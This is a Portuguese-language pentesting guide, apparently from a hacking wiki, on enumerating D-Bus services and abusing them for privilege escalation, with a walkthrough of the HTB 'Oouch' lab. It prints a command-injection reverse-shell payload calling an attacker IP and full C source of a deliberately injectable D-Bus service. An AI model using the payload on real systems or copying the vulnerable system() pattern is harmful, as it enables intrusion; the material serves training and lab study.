O D-Bus é utilizado como mediador de comunicações entre processos (IPC) em ambientes de desktop do Ubuntu. No Ubuntu, é observada a operação concorrente de vários barramentos de mensagens: o barramento do sistema, principalmente utilizado por serviços privilegiados para expor serviços relevantes em todo o sistema, e um barramento de sessão para cada usuário logado, expondo serviços relevantes apenas para aquele usuário específico. O foco aqui é principalmente no barramento do sistema devido à sua associação com serviços em execução com privilégios mais elevados (por exemplo, root), uma vez que nosso objetivo é elevar privilégios. Observa-se que a arquitetura do D-Bus emprega um 'roteador' por barramento de sessão, responsável por redirecionar mensagens de clientes para os serviços apropriados com base no endereço especificado pelos clientes para o serviço com o qual desejam se comunicar.
Os serviços no D-Bus são definidos pelos objetos e interfaces que eles expõem. Os objetos podem ser comparados às instâncias de classe em linguagens de programação orientadas a objetos padrão, sendo cada instância identificada de forma única por um caminho do objeto. Este caminho, semelhante a um caminho de sistema de arquivos, identifica de forma única cada objeto exposto pelo serviço. Uma interface chave para fins de pesquisa é a interface org.freedesktop.DBus.Introspectable, que apresenta um método singular, Introspect. Este método retorna uma representação XML dos métodos suportados pelo objeto, sinais e propriedades, com foco aqui nos métodos, omitindo propriedades e sinais.
Para a comunicação com a interface D-Bus, foram utilizadas duas ferramentas: uma ferramenta de CLI chamada gdbus para invocação fácil de métodos expostos pelo D-Bus em scripts, e D-Feet, uma ferramenta GUI baseada em Python projetada para enumerar os serviços disponíveis em cada barramento e exibir os objetos contidos em cada serviço.
sudoapt-getinstalld-feet
Na primeira imagem são mostrados os serviços registrados com o barramento do sistema D-Bus, com org.debin.apt especificamente destacado após selecionar o botão System Bus. O D-Feet consulta este serviço para objetos, exibindo interfaces, métodos, propriedades e sinais para os objetos escolhidos, como visto na segunda imagem. A assinatura de cada método também é detalhada.
Uma característica notável é a exibição do ID do processo (pid) e da linha de comando do serviço, útil para confirmar se o serviço é executado com privilégios elevados, importante para a relevância da pesquisa.
O D-Feet também permite a invocação de métodos: os usuários podem inserir expressões em Python como parâmetros, que o D-Feet converte em tipos D-Bus antes de passar para o serviço.
No entanto, observe que alguns métodos exigem autenticação antes de nos permitir invocá-los. Vamos ignorar esses métodos, já que nosso objetivo é elevar nossos privilégios sem credenciais em primeiro lugar.
Também observe que alguns dos serviços consultam outro serviço D-Bus chamado org.freedeskto.PolicyKit1 para determinar se um usuário deve ser autorizado a realizar certas ações ou não.
Da Wikipedia: Quando um processo estabelece uma conexão com um barramento, o barramento atribui à conexão um nome especial de barramento chamado nome de conexão único. Nomes de barramento desse tipo são imutáveis — é garantido que não mudarão enquanto a conexão existir — e, mais importante, não podem ser reutilizados durante a vida útil do barramento. Isso significa que nenhuma outra conexão com esse barramento terá atribuído um nome de conexão único, mesmo que o mesmo processo feche a conexão com o barramento e crie uma nova. Nomes de conexão únicos são facilmente reconhecíveis porque começam com o caractere de dois pontos — caso contrário proibido.
Informações do Objeto de Serviço
Em seguida, você pode obter algumas informações sobre a interface com:
busctlstatushtb.oouch.Block#Get info of "htb.oouch.Block" interfacePID=2609PPID=1TTY=n/aUID=0EUID=0SUID=0FSUID=0GID=0EGID=0SGID=0FSGID=0SupplementaryGIDs=Comm=dbus-serverCommandLine=/root/dbus-serverLabel=unconfinedCGroup=/system.slice/dbus-server.serviceUnit=dbus-server.serviceSlice=system.sliceUserUnit=n/aUserSlice=n/aSession=n/aAuditLoginUID=n/aAuditSessionID=n/aUniqueName=:1.3EffectiveCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readPermittedCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_readInheritableCapabilities=BoundingCapabilities=cap_chowncap_dac_overridecap_dac_read_searchcap_fownercap_fsetidcap_killcap_setgidcap_setuidcap_setpcapcap_linux_immutablecap_net_bind_servicecap_net_broadcastcap_net_admincap_net_rawcap_ipc_lockcap_ipc_ownercap_sys_modulecap_sys_rawiocap_sys_chrootcap_sys_ptracecap_sys_pacctcap_sys_admincap_sys_bootcap_sys_nicecap_sys_resourcecap_sys_timecap_sys_tty_configcap_mknodcap_leasecap_audit_writecap_audit_controlcap_setfcapcap_mac_overridecap_mac_admincap_syslogcap_wake_alarmcap_block_suspendcap_audit_read
Listar Interfaces de um Objeto de Serviço
Você precisa ter permissões suficientes.
busctltreehtb.oouch.Block#Get Interfaces of the service object└─/htb└─/htb/oouch└─/htb/oouch/Block
Introspecionar Interface de um Objeto de Serviço
Observe como neste exemplo foi selecionada a interface mais recente descoberta usando o parâmetro tree (ver seção anterior):
busctlintrospecthtb.oouch.Block/htb/oouch/Block#Get methods of the interfaceNAMETYPESIGNATURERESULT/VALUEFLAGShtb.oouch.Blockinterface---.Blockmethodss-org.freedesktop.DBus.Introspectableinterface---.Introspectmethod-s-org.freedesktop.DBus.Peerinterface---.GetMachineIdmethod-s-.Pingmethod---org.freedesktop.DBus.Propertiesinterface---.Getmethodssv-.GetAllmethodsa{sv}-.Setmethodssv--.PropertiesChangedsignalsa{sv}as--
Interface de Monitorização/Captura
Com privilégios suficientes (apenas os privilégios send_destination e receive_sender não são suficientes) você pode monitorizar uma comunicação D-Bus.
Se você souber como configurar um arquivo de configuração do D-Bus para permitir que usuários não root espiem a comunicação, por favor, entre em contato comigo!
Diferentes maneiras de monitorizar:
sudobusctlmonitorhtb.oouch.Block#Monitor only specifiedsudobusctlmonitor#System level, even if this works you will only see messages you have permissions to seesudodbus-monitor--system#System level, even if this works you will only see messages you have permissions to see
No exemplo a seguir, a interface htb.oouch.Block é monitorada e a mensagem "lalalalal" é enviada por meio de uma comunicação inadequada:
busctlmonitorhtb.oouch.BlockMonitoringbusmessagestream.‣Type=method_callEndian=lFlags=0Version=1Priority=0Cookie=2Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=BlockUniqueName=:1.1376MESSAGE"s"{STRING"lalalalal";};‣Type=method_returnEndian=lFlags=1Version=1Priority=0Cookie=16ReplyCookie=2Sender=:1.3 Destination=:1.1376UniqueName=:1.3MESSAGE"s"{STRING"Carried out :D";};
Pode usar capture em vez de monitor para salvar os resultados em um arquivo pcap.
Filtrando todo o ruído
Se houver muita informação no barramento, passe uma regra de correspondência assim:
Como usuário qtc dentro do host "oouch" do HTB, você pode encontrar um arquivo de configuração D-Bus inesperado localizado em /etc/dbus-1/system.d/htb.oouch.Block.conf:
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- --><!DOCTYPE busconfig PUBLIC"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN""http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"><busconfig><policyuser="root"><allowown="htb.oouch.Block"/></policy><policyuser="www-data"><allowsend_destination="htb.oouch.Block"/><allowreceive_sender="htb.oouch.Block"/></policy></busconfig>
Note que, a partir da configuração anterior, você precisará ser o usuário root ou www-data para enviar e receber informações por meio dessa comunicação D-BUS.
Como usuário qtc dentro do contêiner docker aeb4525789d8, você pode encontrar algum código relacionado ao dbus no arquivo /code/oouch/routes.py. Este é o código interessante:
Como pode ver, está conectando a uma interface D-Bus e enviando para a função "Block" o "client_ip".
Do outro lado da conexão D-Bus, há um binário compilado em C em execução. Este código está ouvindo a conexão D-Bus para o endereço IP e está chamando o iptables via system function para bloquear o endereço IP fornecido.
A chamada para system é vulnerável de propósito à injeção de comandos, então um payload como o seguinte criará um shell reverso: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #
Explorar
No final desta página, você pode encontrar o código C completo da aplicação D-Bus. Dentro dele, entre as linhas 91-97, você pode ver como o caminho do objeto D-Bus e o nome da interface são registrados. Essas informações serão necessárias para enviar informações para a conexão D-Bus:
/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);
Também, na linha 57, você pode encontrar que o único método registrado para esta comunicação D-Bus é chamado Block(Por isso, na próxima seção, os payloads serão enviados para o objeto de serviço htb.oouch.Block, a interface /htb/oouch/Block e o nome do método Block):
O seguinte código python enviará a carga útil para a conexão D-Bus para o método Block via block_iface.Block(runme) (note que foi extraído do trecho anterior de código):
dbus-send é uma ferramenta usada para enviar mensagens para o "Message Bus"
Message Bus - Um software usado por sistemas para facilitar a comunicação entre aplicativos. Está relacionado com a Fila de Mensagens (as mensagens são ordenadas em sequência), mas no Message Bus as mensagens são enviadas em um modelo de assinatura e também muito rapidamente.
A tag "-system" é usada para mencionar que é uma mensagem do sistema, não uma mensagem de sessão (por padrão).
A tag "--print-reply" é usada para imprimir nossa mensagem adequadamente e receber quaisquer respostas em um formato legível.
"--dest=Dbus-Interface-Block" O endereço da interface Dbus.
"--string:" - Tipo de mensagem que gostaríamos de enviar para a interface. Existem vários formatos de envio de mensagens como double, bytes, booleans, int, objpath. Dentre esses, o "caminho do objeto" é útil quando queremos enviar o caminho de um arquivo para a interface Dbus. Podemos usar um arquivo especial (FIFO) nesse caso para passar um comando para a interface com o nome de um arquivo. "string:;" - Isso é para chamar o caminho do objeto novamente onde colocamos o arquivo/comando de shell reverso FIFO.
Obs: Em htb.oouch.Block.Block, a primeira parte (htb.oouch.Block) faz referência ao objeto de serviço e a última parte (.Block) faz referência ao nome do método.
Código C
d-bus_server.c
//sudo apt install pkgconf//sudo apt install libsystemd-dev//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`#include<stdio.h>#include<stdlib.h>#include<string.h>#include<errno.h>#include<unistd.h>#include<systemd/sd-bus.h>staticintmethod_block(sd_bus_message *m,void*userdata, sd_bus_error *ret_error) {char* host =NULL;int r;/* Read the parameters */r =sd_bus_message_read(m,"s",&host);if (r <0) {fprintf(stderr,"Failed to obtain hostname: %s\n", strerror(-r));return r;}char command[]="iptables -A PREROUTING -s %s -t mangle -j DROP";int command_len =strlen(command);int host_len =strlen(host);char* command_buffer = (char*)malloc((host_len + command_len) *sizeof(char));if(command_buffer ==NULL) {fprintf(stderr,"Failed to allocate memory\n");return-1;}sprintf(command_buffer, command, host);/* In the first implementation, we simply ran command using system(), since the expected DBus* to be threading automatically. However, DBus does not thread and the application will hang* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real* multithreading)*/int pid =fork();if ( pid ==0 ) {/* Here we are in the child process. We execute the command and eventually exit. */system(command_buffer);exit(0);} else {/* Here we are in the parent process or an error occured. We simply send a genric message.* In the first implementation we returned separate error messages for success or failure.* However, now we cannot wait for results of the system call. Therefore we simply return* a generic. */returnsd_bus_reply_method_return(m,"s","Carried out :D");}r =system(command_buffer);}/* The vtable of our little object, implements the net.poettering.Calculator interface */staticconst sd_bus_vtable block_vtable[]= {SD_BUS_VTABLE_START(0),SD_BUS_METHOD("Block","s","s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),SD_BUS_VTABLE_END};intmain(int argc,char*argv[]) {/** Main method, registeres the htb.oouch.Block service on the system dbus.** Paramaters:* argc (int) Number of arguments, not required* argv[] (char**) Argument array, not required** Returns:* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive* as long as the user keeps it alive.*//* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */signal(SIGCHLD,SIG_IGN);sd_bus_slot *slot =NULL;sd_bus *bus =NULL;int r;/* First we need to connect to the system bus. */r =sd_bus_open_system(&bus);if (r <0){fprintf(stderr,"Failed to connect to system bus: %s\n", strerror(-r));goto finish;}/* Install the object */r =sd_bus_add_object_vtable(bus,&slot,"/htb/oouch/Block", /* interface */"htb.oouch.Block", /* service object */block_vtable,NULL);if (r <0) {fprintf(stderr,"Failed to install htb.oouch.Block: %s\n", strerror(-r));goto finish;}/* Register the service name to find out object */r =sd_bus_request_name(bus,"htb.oouch.Block",0);if (r <0) {fprintf(stderr,"Failed to acquire service name: %s\n", strerror(-r));goto finish;}/* Infinite loop to process the client requests */for (;;) {/* Process requests */r =sd_bus_process(bus,NULL);if (r <0) {fprintf(stderr,"Failed to process bus: %s\n", strerror(-r));goto finish;}if (r >0) /* we processed a request, try to process another one, right-away */continue;/* Wait for the next request to process */r =sd_bus_wait(bus, (uint64_t) -1);if (r <0) {fprintf(stderr,"Failed to wait on bus: %s\n", strerror(-r));goto finish;}}finish:sd_bus_slot_unref(slot);sd_bus_unref(bus);return r <0? EXIT_FAILURE : EXIT_SUCCESS;}